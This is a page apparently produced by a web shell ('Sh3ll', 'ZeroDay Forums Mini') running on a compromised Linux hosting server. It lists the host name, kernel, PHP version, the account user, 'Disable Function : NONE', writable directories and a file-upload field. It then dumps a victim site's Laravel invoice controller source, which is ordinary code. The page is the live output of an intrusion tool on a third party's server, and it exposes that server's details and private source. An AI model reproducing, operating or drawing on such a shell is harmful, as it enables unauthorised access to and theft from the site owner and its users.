Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Users/Http/Controllers/Frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Users/Http/Controllers/Frontend/AccountInvoicesController.php
<?php
namespace App\Modules\Users\Http\Controllers\Frontend;

use App\Http\Controllers\SiteController;
use App\Modules\Invoices\Models\Invoice;
use App\Modules\Users\Http\Requests\AccountAddressRequest;
use Illuminate\Http\Request;
use App\Modules\Users\Models\UserAddress;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;

class AccountInvoicesController extends SiteController
{
    /**
     * User address book
     *
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function index()
    {
        //data
        $data['invoices'] = Invoice::where('user_id',Auth::user()->id)->orderBy('created_at','desc')->get();

        //render page
        return view('users::frontend.invoices_list',$data);
    }

    /**
     * Download Invoice in PDF format
     * @param $obj
     * @return mixed
     */
    public function download(Invoice $invoice)
    {
        if (Auth::user()->id != $invoice->user_id)
            return redirect(route('account.profile.myinvoices'));


        $data['invoice'] = $invoice;
        $data['client'] = $invoice->user;
        $data['client_addr'] = $invoice->user->address()->orderBy('is_main','desc')->first();

        $filename = str_slug('Tradze Massage Invoice No '.$invoice->number).'.pdf';

        $pdf = \PDF::loadView('invoices::invoices.export', $data);
        return $pdf->download($filename);
    }

}

ZeroDay Forums Mini